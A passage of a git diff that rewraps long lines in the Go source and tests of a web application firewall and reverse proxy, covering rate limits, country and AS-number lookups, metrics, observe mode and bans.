want ok "+ + "with %q", + got.body, + got.header.Get("Content-Type"), + contentType, + ) } } @@ -34,8 +44,12 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) { for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] { if line.ResponseContentType != contentType { - t.Errorf("health check's log line has response_content_type %q, "+ - "want %q", line.ResponseContentType, contentType) + t.Errorf( + "health check's log line has response_content_type %q, "+ + "want %q", + line.ResponseContentType, + contentType, + ) } } } diff --git a/internal/waf/heuristics.go b/internal/waf/heuristics.go index 450cb10..1d34952 100644 --- a/internal/waf/heuristics.go +++ b/internal/waf/heuristics.go @@ -117,7 +117,10 @@ func (rq *request) runHeuristics( // after_answer_heuristic_figures name the heuristic that gave a verdict, and // give its figures, so that heuristic and heuristic_figures still name the one // that refused the request. ctx is the request's own context. -func (rq *request) runBanningHeuristics(ctx context.Context, list []heuristic) { +func (rq *request) runBanningHeuristics( + ctx context.Context, + list []heuristic, +) { name, v := rq.firstVerdict(ctx, list, rq.h.now()) if v != nil { rq.line.AfterAnswerHeuristic = name diff --git a/internal/waf/history_test.go b/internal/waf/history_test.go index b18d2a0..8718701 100644 --- a/internal/waf/history_test.go +++ b/internal/waf/history_test.go @@ -60,7 +60,11 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) { func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) { t.Parallel() - s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"}) + s, _, server := startWithClock( + t, + "", + map[string]string{maxTrackedClients: "2"}, + ) // The third client drops the least recently seen, the first, with its // history. @@ -70,8 +74,12 @@ func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) { _, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32")) if server.Limiter.Len() != 2 || held { - t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+ - "without it", server.Limiter.Len(), held) + t.Errorf( + "the table holds %d clients, the first among them: %t; want 2, "+ + "without it", + server.Limiter.Len(), + held, + ) } } @@ -84,7 +92,10 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) { }) addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil) - got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))) + got := do( + t, + newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")), + ) wantStatus(t, got, http.StatusOK) out.endedLine(t) @@ -98,9 +109,19 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) { func TestOwnEndpointsAreNotInTheHistory(t *testing.T) { t.Parallel() - s, _, server := startWithClock(t, "", map[string]string{metricsToken: token}) + s, _, server := startWithClock( + t, + "", + map[string]string{metricsToken: token}, + ) - s.ownEndpointRequest("", http.MethodGet, waf.HealthPath, "", http.StatusOK) + s.ownEndpointRequest( + "", + http.MethodGet, + waf.HealthPath, + "", + http.StatusOK, + ) s.ownEndpointRequest("", http.MethodGet, waf.MetricsPath, "", http.StatusUnauthorized) s.scrape() @@ -120,7 +141,8 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) { out.endedLine(t) history := historyOf(t, server, localhost) - if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 { + if history.Requests != 1 || history.Forwarded != 0 || + history.Refused != 0 { t.Errorf("history counts %d requests, %d forwarded and %d refused, "+ "want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused) } diff --git a/internal/waf/lookup.go b/internal/waf/lookup.go index 63dcbd8..b9deacb 100644 --- a/internal/waf/lookup.go +++ b/internal/waf/lookup.go @@ -105,5 +105,6 @@ func setLookupHeaders(header http.Header, asn, country string) { // canBePlaced reports whether a lookup can place addr: private, loopback // and link-local addresses have no AS number or country. func canBePlaced(addr netip.Addr) bool { - return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast() + return !addr.IsPrivate() && !addr.IsLoopback() && + !addr.IsLinkLocalUnicast() } diff --git a/internal/waf/lookup_test.go b/internal/waf/lookup_test.go index 7923926..5d38213 100644 --- a/internal/waf/lookup_test.go +++ b/internal/waf/lookup_test.go @@ -24,7 +24,9 @@ type asnAndCountry struct{ asn, asName, country string } // lookup database. const fileSource = "file" -func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) { +func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt( + t *testing.T, +) { t.Parallel() // The stand-in for GeoJS answers only once released. A request that @@ -45,7 +47,10 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) } { got := asnAndCountry{line.ASN, line.ASName, line.Country} if got != (asnAndCountry{}) { - t.Errorf("log line has %+v before GeoJS answered, want nothing", got) + t.Errorf( + "log line has %+v before GeoJS answered, want nothing", + got, + ) } } @@ -80,7 +85,12 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) // GeoJS was asked about each client once, fromKP after fromDE, whose // request was under way when fromKP came. if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) { - t.Errorf("GeoJS was asked about %v, want %s and %s", got, fromDE, fromKP) + t.Errorf( + "GeoJS was asked about %v, want %s and %s", + got, + fromDE, + fromKP, + ) } } @@ -127,7 +137,9 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) { // for GeoJS. The second request goes on at once, and is counted. clk.advance(2500 * time.Millisecond) server.GeoJS.Load([]lookup.Answer{{ - Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE, + Client: netip.MustParsePrefix( + fromDE + "/32", + ), ASN: asnDE, ASName: asNameDE, Country: "DE", Answered: clk.Now(), Used: clk.Now(), }}) wantStatus(t, do(t, requestFromDE()), http.StatusOK) @@ -140,7 +152,12 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) { t.Fatalf("first request: %v", err) } - wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward) + wantLine( + t, + out.endedLines(t, 2)[1], + http.StatusOK, + requestlog.ActionForward, + ) // The third request's count holds all three: the first was counted // when it went on, in the minute under way, and the second's count @@ -149,22 +166,32 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) { wantStatus(t, do(t, requestFromDE()), http.StatusOK) if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 { - t.Errorf("the third request's count in the minute is %v, want 3", got) + t.Errorf( + "the third request's count in the minute is %v, want 3", + got, + ) } } -func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) { +func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert( + t *testing.T, +) { t.Parallel() geojsURL, _ := startGeoJS(t) app := startApp(t, func(http.ResponseWriter, *http.Request) {}) clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)} - addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now, + addr, out, server, queue := startProxyWithAlerts( + t, + app.URL, + geojsURL, + clk.Now, map[string]string{ trustedProxies: trustLocalhost, alertWebhookURL: "https://alerts.example/sww", rateLimitPerMinute: "1", - }) + }, + ) s := &sender{t: t, addr: addr, out: out} // The answer is kept before the requests, so GeoJS is not asked, and @@ -213,11 +240,17 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) { t.Parallel() geojsURL, asked := startGeoJS(t) - s, clk, server := startWithClock(t, geojsURL, map[string]string{lookupSource: "off"}) + s, clk, server := startWithClock( + t, + geojsURL, + map[string]string{lookupSource: "off"}, + ) // Even an answer kept from before is not used. server.GeoJS.Load([]lookup.Answer{{ - Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE, + Client: netip.MustParsePrefix( + fromDE + "/32", + ), ASN: asnDE, ASName: asNameDE, Country: "DE", Answered: clk.Now(), Used: clk.Now(), }}) @@ -230,8 +263,13 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) { } } - if h := historyOf(t, server, fromDE); h.ASN != "" || !h.LookedUp.IsZero() { - t.Errorf("history has %q, looked up at %s, want no lookup", h.ASN, h.LookedUp) + if h := historyOf(t, server, fromDE); h.ASN != "" || + !h.LookedUp.IsZero() { + t.Errorf( + "history has %q, looked up at %s, want no lookup", + h.ASN, + h.LookedUp, + ) } if len(asked()) != 0 { @@ -239,7 +277,9 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) { } } -func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) { +func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked( + t *testing.T, +) { t.Parallel() geojsURL, asked := startGeoJS(t) @@ -297,7 +337,9 @@ func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) { } } -func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) { +func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved( + t *testing.T, +) { t.Parallel() var ( @@ -310,15 +352,23 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) { defer mu.Unlock() got = append(got, [2][]string{ - r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country"), + r.Header.Values( + "X-Client-Asn", + ), r.Header.Values("X-Client-Country"), }) }) geojsURL, _ := startGeoJS(t) - addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{ - trustedProxies: trustLocalhost, - lookupTimeout: "1h", - addLookupHeaders: on, - }) + addr, out, _ := startProxyWithClock( + t, + app.URL, + geojsURL, + time.Now, + map[string]string{ + trustedProxies: trustLocalhost, + lookupTimeout: "1h", + addLookupHeaders: on, + }, + ) s := &sender{t: t, addr: addr, out: out} // Each client sends headers of its own. fromDE's first request waits @@ -340,7 +390,9 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) { } } -func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) { +func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff( + t *testing.T, +) { t.Parallel() var ( @@ -352,12 +404,22 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) { mu.Lock() defer mu.Unlock() - asn, country = r.Header.Values("X-Client-Asn"), r.Header.Values("X-Client-Country") + asn, country = r.Header.Values( + "X-Client-Asn", + ), r.Header.Values( + "X-Client-Country", + ) }) geojsURL, _ := startGeoJS(t) - addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{ - trustedProxies: trustLocalhost, - }) + addr, out, _ := startProxyWithClock( + t, + app.URL, + geojsURL, + time.Now, + map[string]string{ + trustedProxies: trustLocalhost, + }, + ) s := &sender{t: t, addr: addr, out: out} s.requestWithHeader(fromDE, "/", clientsOwnLookupHeaders, @@ -367,8 +429,11 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(t *testing.T) { defer mu.Unlock() if asn != nil || country != nil { - t.Errorf("the app was passed X-Client-ASN %v and X-Client-Country %v, want neither", - asn, country) + t.Errorf( + "the app was passed X-Client-ASN %v and X-Client-Country %v, want neither", + asn, + country, + ) } } @@ -396,7 +461,11 @@ func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) { serveFromDE(t, server, http.MethodGet, http.NoBody) if waited := time.Since(began); waited != timeout { - t.Errorf("the request waited %s for its answer, want %s", waited, timeout) + t.Errorf( + "the request waited %s for its answer, want %s", + waited, + timeout, + ) } // Without an answer, the client is in no country the list allows. diff --git a/internal/waf/metrics_test.go b/internal/waf/metrics_test.go index 31d86bb..1472d6d 100644 --- a/internal/waf/metrics_test.go +++ b/internal/waf/metrics_test.go @@ -32,8 +32,13 @@ func TestMetricsAreOffWhileTheTokenIsUnset(t *testing.T) { // An empty token does not match the unset one either. for _, authorization := range []string{bearer, "Bearer ", ""} { - s.ownEndpointRequest(authorization, http.MethodGet, waf.MetricsPath, "", - http.StatusNotFound) + s.ownEndpointRequest( + authorization, + http.MethodGet, + waf.MetricsPath, + "", + http.StatusNotFound, + ) } } @@ -60,7 +65,13 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) { {http.MethodGet, "/_sww/bans", bearer, http.StatusNotFound}, {http.MethodPost, waf.HealthPath, "", http.StatusNotFound}, } { - got := s.ownEndpointRequest(tc.authorization, tc.method, tc.path, "", tc.status) + got := s.ownEndpointRequest( + tc.authorization, + tc.method, + tc.path, + "", + tc.status, + ) if tc.status == http.StatusUnauthorized && got.header.Get("WWW-Authenticate") != "Bearer" { @@ -69,7 +80,10 @@ func TestMetricsNeedTheTokenAndOtherPathsAreNotFound(t *testing.T) { } if tc.status == http.StatusOK && - !strings.Contains(string(got.body), "# TYPE sww_requests_total counter") { + !strings.Contains( + string(got.body), + "# TYPE sww_requests_total counter", + ) { t.Errorf("the metrics are\n%s", got.body) } } @@ -85,7 +99,10 @@ func TestMetricsCountTheTraffic(t *testing.T) { addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, map[string]string{metricsToken: token}) - got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))) + got := do( + t, + newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")), + ) wantStatus(t, got, http.StatusOK) wantStatus(t, get(t, addr, "/_sww/nothing"), http.StatusNotFound) out.endedLines(t, 2) @@ -132,12 +149,26 @@ func TestMetricsCountLimitsAndBans(t *testing.T) { s.get(client, 0, requestlog.ActionClientIsRateLimited) metrics := s.scrape() - wantMetric(t, metrics, - `sww_requests_total{action="client_denied",instance="app",status_class="none"}`, 1) + wantMetric( + t, + metrics, + `sww_requests_total{action="client_denied",instance="app",status_class="none"}`, + 1, + ) wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+ `kind="requests",window="minute"}`, 1) - wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1) - wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1) + wantMetric( + t, + metrics, + `sww_offences_total{instance="app",kind="limit"}`, + 1, + ) + wantMetric( + t, + metrics, + `sww_bans_made_total{cause="limit",instance="app"}`, + 1, + ) wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 0) @@ -152,8 +183,18 @@ func TestMetricsCountLimitsAndBans(t *testing.T) { metrics = s.scrape() wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+ `kind="requests",window="minute"}`, 2) - wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 2) - wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 2) + wantMetric( + t, + metrics, + `sww_offences_total{instance="app",kind="limit"}`, + 2, + ) + wantMetric( + t, + metrics, + `sww_bans_made_total{cause="limit",instance="app"}`, + 2, + ) wantMetric(t, metrics, `sww_active_bans{instance="app"}`, 1) wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1) // denied and client. @@ -201,12 +242,14 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { allowedCountries: "de,fr", } geojsURL, _ := startGeoJS(t) - addr, out, server := startProxyWithClock(t, app.URL, geojsURL, time.Now, env) + addr, out, server := startProxyWithClock(t, app.URL, geojsURL, + time.Now, env) // The answers are kept before the requests, so that none waits for // GeoJS. server.GeoJS.Load([]lookup.Answer{ - keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), keptAnswer(fromFR, "FR"), + keptAnswer(fromKP, "KP"), keptAnswer(fromDE, "DE"), + keptAnswer(fromFR, "FR"), }) lines := 0 @@ -214,7 +257,8 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { t.Helper() for range times { - req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")) + body := strings.NewReader("abc") + req := newRequest(t, http.MethodPost, addr, "/", body) req.Header.Set(forwardedFor, from) wantStatus(t, do(t, req), status) @@ -271,7 +315,9 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { `sww_country_request_bytes_total{country="DE",instance="app"}`) } -func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(t *testing.T) { +func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther( + t *testing.T, +) { t.Parallel() geojsURL, _ := startGeoJS(t) @@ -347,7 +393,12 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) { wantMetric(t, metrics, `sww_geojs_requests_total{instance="app"}`, 1) wantMetric(t, metrics, `sww_geojs_failures_total{instance="app"}`, 1) - wantMetric(t, metrics, `sww_requests_without_geojs_answer_total{instance="app"}`, 1) + wantMetric( + t, + metrics, + `sww_requests_without_geojs_answer_total{instance="app"}`, + 1, + ) } // keptAnswer returns GeoJS's answer that the client at addr is in @@ -381,8 +432,10 @@ func scrape(t *testing.T, addr string) string { func (s *sender) scrape() string { s.t.Helper() - return string(s.ownEndpointRequest(bearer, http.MethodGet, waf.MetricsPath, - "", http.StatusOK).body) + return string( + s.ownEndpointRequest(bearer, http.MethodGet, waf.MetricsPath, + "", http.StatusOK).body, + ) } // metric returns the value of series in metrics, which are in the @@ -394,7 +447,10 @@ func metric(t *testing.T, metrics, series string) float64 { t.Helper() for line := range strings.Lines(metrics) { - value, found := strings.CutPrefix(strings.TrimSuffix(line, "\n"), series+" ") + value, found := strings.CutPrefix( + strings.TrimSuffix(line, "\n"), + series+" ", + ) if !found { continue } diff --git a/internal/waf/observe_test.go b/internal/waf/observe_test.go index d6d5a59..9ff2de6 100644 --- a/internal/waf/observe_test.go +++ b/internal/waf/observe_test.go @@ -67,7 +67,12 @@ func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) { server.Ledger.Load([]bans.Ban{ban}) if modeValue == observe { - line := s.request(client, tc.path, http.StatusOK, requestlog.ActionForward) + line := s.request( + client, + tc.path, + http.StatusOK, + requestlog.ActionForward, + ) wantWouldAction(t, line, tc.want) return @@ -93,12 +98,21 @@ func TestObserveModeNamesAPermanentBanWhoseAlertWouldBeSent(t *testing.T) { Cause: bans.CauseAttack, }}) - line := s.request(client, "/wp-login.php", http.StatusOK, requestlog.ActionForward) + line := s.request( + client, + "/wp-login.php", + http.StatusOK, + requestlog.ActionForward, + ) wantWouldAction(t, line, requestlog.ActionPermanentlyBanned) waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 || waiting[0].Event != alerts.EventPermanentBan { - t.Errorf("alerts waiting are %+v, want one %s", waiting, alerts.EventPermanentBan) + t.Errorf( + "alerts waiting are %+v, want one %s", + waiting, + alerts.EventPermanentBan, + ) } } @@ -163,14 +177,22 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) { {fromDE, requestlog.ActionClientIsRateLimited}, } { if !tc.observe { - line := s.get(sent.from, http.StatusForbidden, sent.refusal) + line := s.get( + sent.from, + http.StatusForbidden, + sent.refusal, + ) wantWouldAction(t, line, "") continue } // Passed to the app, which answered it. - line := s.get(sent.from, http.StatusOK, requestlog.ActionForward) + line := s.get( + sent.from, + http.StatusOK, + requestlog.ActionForward, + ) wantWouldAction(t, line, sent.refusal) } }) @@ -200,11 +222,16 @@ func TestObserveModeMakesNoBanAndKeepsTheBansItHas(t *testing.T) { line := s.get(client, http.StatusOK, requestlog.ActionForward) wantWouldAction(t, line, requestlog.ActionClientIsRateLimited) - if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit || + if line.LimitHit != minute || + line.Offence != requestlog.OffenceLimit || line.BanExpires != "" { - t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+ - "want minute, limit and none", line.LimitHit, line.Offence, - line.BanExpires) + t.Errorf( + "log line has limit_hit %q, offence %q and ban_expires %q, "+ + "want minute, limit and none", + line.LimitHit, + line.Offence, + line.BanExpires, + ) } } diff --git a/internal/waf/proxy.go b/internal/waf/proxy.go index d050db1..ee068a6 100644 --- a/internal/waf/proxy.go +++ b/internal/waf/proxy.go @@ -228,7 +228,8 @@ func newReputation( // an error in every mode. While the mode is off, a set file is loaded with the // Core Rule Set only to check it. func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) { - if cfg.WAFMode == config.WAFModeOff && cfg.CoreRuleSetExclusionsFile == "" { + if cfg.WAFMode == config.WAFModeOff && + cfg.CoreRuleSetExclusionsFile == "" { return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error } diff --git a/internal/waf/proxy_test.go b/internal/waf/proxy_test.go index fa0486e..59521ee 100644 --- a/internal/waf/proxy_test.go +++ b/internal/waf/proxy_test.go @@ -276,7 +276,11 @@ func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server { // startProxy starts waf, and rproxy in front of the app at appURL, each with // the settings in env on top of the defaults, and returns where rproxy listens // and what waf writes. -func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) { +func startProxy( + t *testing.T, + appURL string, + env map[string]string, +) (string, *output) { t.Helper() return startProxyWithGeoJS(t, appURL, "", env) @@ -305,7 +309,13 @@ func startProxyWithClock( ) (string, *output, *waf.Server) { t.Helper() - addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env) + addr, out, server, _ := startProxyWithAlerts( + t, + appURL, + geojsURL, + now, + env, + ) return addr, out, server } @@ -329,7 +339,11 @@ func startProxyWithAlerts( func serve(t *testing.T, server *waf.Server) { t.Helper() - listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + listener, err := (&net.ListenConfig{}).Listen( + t.Context(), + "tcp", + localhost+":0", + ) if err != nil { t.Fatalf("listen: %v", err) } @@ -361,11 +375,13 @@ func startRProxy( } maps.Copy(settings, env) - cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) { - value, ok := settings[name] + cfg, err := config.RProxyFromEnvironment( + func(name string) (string, bool) { + value, ok := settings[name] - return value, ok - }) + return value, ok + }, + ) if err != nil { t.Fatalf("settings %v: %v", settings, err) } @@ -373,10 +389,18 @@ func startRProxy( server := rproxy.New(rproxy.Params{ Config: cfg, RequestLog: io.Discard, - ProcessLog: requestlog.NewProcessLogger(io.Discard, "rproxy", slog.LevelInfo), + ProcessLog: requestlog.NewProcessLogger( + io.Discard, + "rproxy", + slog.LevelInfo, + ), }) - listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + listener, err := (&net.ListenConfig{}).Listen( + t.Context(), + "tcp", + localhost+":0", + ) if err != nil { t.Fatalf("listen: %v", err) } @@ -403,7 +427,10 @@ func startRProxy( // env sets it, so that only the tests of the Core Rule Set have their requests // inspected by it. func newWAF( - t *testing.T, geojsURL string, now func() time.Time, env map[string]string, + t *testing.T, + geojsURL string, + now func() time.Time, + env map[string]string, ) (*waf.Server, *output, *alerts.Queue) { t.Helper() @@ -436,7 +463,11 @@ func newWAFWith( } out := &output{} - processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel) + processLog := requestlog.NewProcessLogger( + out, + cfg.InstanceName, + cfg.LogLevel, + ) ruleFiles, err := rules.Load(rules.Params{ Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog, @@ -513,14 +544,28 @@ func readAnswer(res *http.Response) answer { body, err := io.ReadAll(res.Body) _ = res.Body.Close() - return answer{status: res.StatusCode, header: res.Header, body: body, err: err} + return answer{ + status: res.StatusCode, + header: res.Header, + body: body, + err: err, + } } // newRequest makes a request for path to addr, where rproxy or waf listens. -func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request { +func newRequest( + t *testing.T, + method, addr, path string, + body io.Reader, +) *http.Request { t.Helper() - req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body) + req, err := http.NewRequestWithContext( + t.Context(), + method, + "http://"+addr+path, + body, + ) if err != nil { t.Fatalf("new request: %v", err) } diff --git a/internal/waf/ratelimits.go b/internal/waf/ratelimits.go index 590e54d..eb73106 100644 --- a/internal/waf/ratelimits.go +++ b/internal/waf/ratelimits.go @@ -22,7 +22,11 @@ type rateLimits struct{} func (rateLimits) name() string { return "rate_limits" } -func (rateLimits) check(_ context.Context, rq *request, now time.Time) *verdict { +func (rateLimits) check( + _ context.Context, + rq *request, + now time.Time, +) *verdict { rq.counted = rq.countedByRateLimits() if !rq.counted { return nil diff --git a/internal/waf/ratelimits_test.go b/internal/waf/ratelimits_test.go index d7fafbb..8b7ae70 100644 --- a/internal/waf/ratelimits_test.go +++ b/internal/waf/ratelimits_test.go @@ -42,7 +42,11 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) { {otherClient, otherClient, http.StatusOK}, {"::ffff:" + otherClient, otherClient, http.StatusForbidden}, {"2001:db8::1", "2001:db8::1", http.StatusOK}, - {"2001:db8::8000:0:0:1", "2001:db8::8000:0:0:1", http.StatusForbidden}, + { + "2001:db8::8000:0:0:1", + "2001:db8::8000:0:0:1", + http.StatusForbidden, + }, {"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK}, } @@ -53,7 +57,11 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) { line := out.endedLines(t, i+1)[i] if line.ClientIP != sent.logged { - t.Errorf("log line has client_ip %q, want %q", line.ClientIP, sent.logged) + t.Errorf( + "log line has client_ip %q, want %q", + line.ClientIP, + sent.logged, + ) } if sent.want == http.StatusOK { @@ -75,12 +83,25 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) { func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) { t.Parallel() - s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"}) + s, _, _ := startWithClock( + t, + "", + map[string]string{rateLimitPerMinute: "1"}, + ) s.get(client, http.StatusOK, requestlog.ActionForward) - line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) - wantHeuristic(t, line, "rate_limits", `{"window": "minute", "count": 2, "limit": 1}`) + line := s.get( + client, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) + wantHeuristic( + t, + line, + "rate_limits", + `{"window": "minute", "count": 2, "limit": 1}`, + ) } func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) { @@ -148,11 +169,26 @@ func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) { // With a limit of one request a minute, the requests for paths under a // prefix are not counted, so client's first request for / is within // the limit; and once client has reached it, they are not refused. - s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward) - s.request(client, "/favicon.ico?v=2", http.StatusOK, requestlog.ActionForward) + s.request( + client, + "/assets/app.js", + http.StatusOK, + requestlog.ActionForward, + ) + s.request( + client, + "/favicon.ico?v=2", + http.StatusOK, + requestlog.ActionForward, + ) s.get(client, http.StatusOK, requestlog.ActionForward) - line := s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward) + line := s.request( + client, + "/assets/app.js", + http.StatusOK, + requestlog.ActionForward, + ) if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) { t.Errorf("log line has limit_hit %q and counts %+v, want neither", line.LimitHit, line.Counts) @@ -214,7 +250,12 @@ func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) { // Counted, the second request breaks the limit of one request // a minute. s.request(client, sent, http.StatusOK, requestlog.ActionForward) - s.request(client, sent, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + s.request( + client, + sent, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) }) } } diff --git a/internal/waf/refusallimit.go b/internal/waf/refusallimit.go index 56f8109..fa736f1 100644 --- a/internal/waf/refusallimit.go +++ b/internal/waf/refusallimit.go @@ -22,7 +22,11 @@ type refusalLimit struct{} func (refusalLimit) name() string { return "refusal_limit" } -func (refusalLimit) check(_ context.Context, rq *request, now time.Time) *verdict { +func (refusalLimit) check( + _ context.Context, + rq *request, + now time.Time, +) *verdict { cfg := rq.h.config if cfg.ErrorBurstThreshold == 0 { return nil @@ -42,9 +46,11 @@ func (refusalLimit) check(_ context.Context, rq *request, now time.Time) *verdic status := rq.out.status switch rq.line.WouldAction { - case requestlog.ActionBlockedByBlockRule, requestlog.ActionBlockedByCoreRuleSet: + case requestlog.ActionBlockedByBlockRule, + requestlog.ActionBlockedByCoreRuleSet: status = http.StatusForbidden - case requestlog.ActionTemporarilyBanned, requestlog.ActionPermanentlyBanned: + case requestlog.ActionTemporarilyBanned, + requestlog.ActionPermanentlyBanned: status = cfg.BanResponse } diff --git a/internal/waf/refusallimit_test.go b/internal/waf/refusallimit_test.go index 4c2179e..6639d68 100644 --- a/internal/waf/refusallimit_test.go +++ b/internal/waf/refusallimit_test.go @@ -97,8 +97,13 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) { for i, r := range tc.refusals[:3] { line := r.send(s, client) if line.LimitHit != "" || line.Offence != "" { - t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+ - "want none", i+1, line.LimitHit, line.Offence) + t.Errorf( + "refusal %d: log line has limit_hit %q and offence %q, "+ + "want none", + i+1, + line.LimitHit, + line.Offence, + ) } s.get(client, http.StatusOK, requestlog.ActionForward) @@ -109,8 +114,12 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) { line := tc.refusals[3].send(s, client) if line.LimitHit != requestlog.LimitHitMinuteRefusals || line.Offence != requestlog.OffenceLimit { - t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals "+ - "and limit", line.LimitHit, line.Offence) + t.Errorf( + "log line has limit_hit %q and offence %q, want minute_refusals "+ + "and limit", + line.LimitHit, + line.Offence, + ) } s.get(client, http.StatusForbidden, tc.nextAction) @@ -149,7 +158,10 @@ func 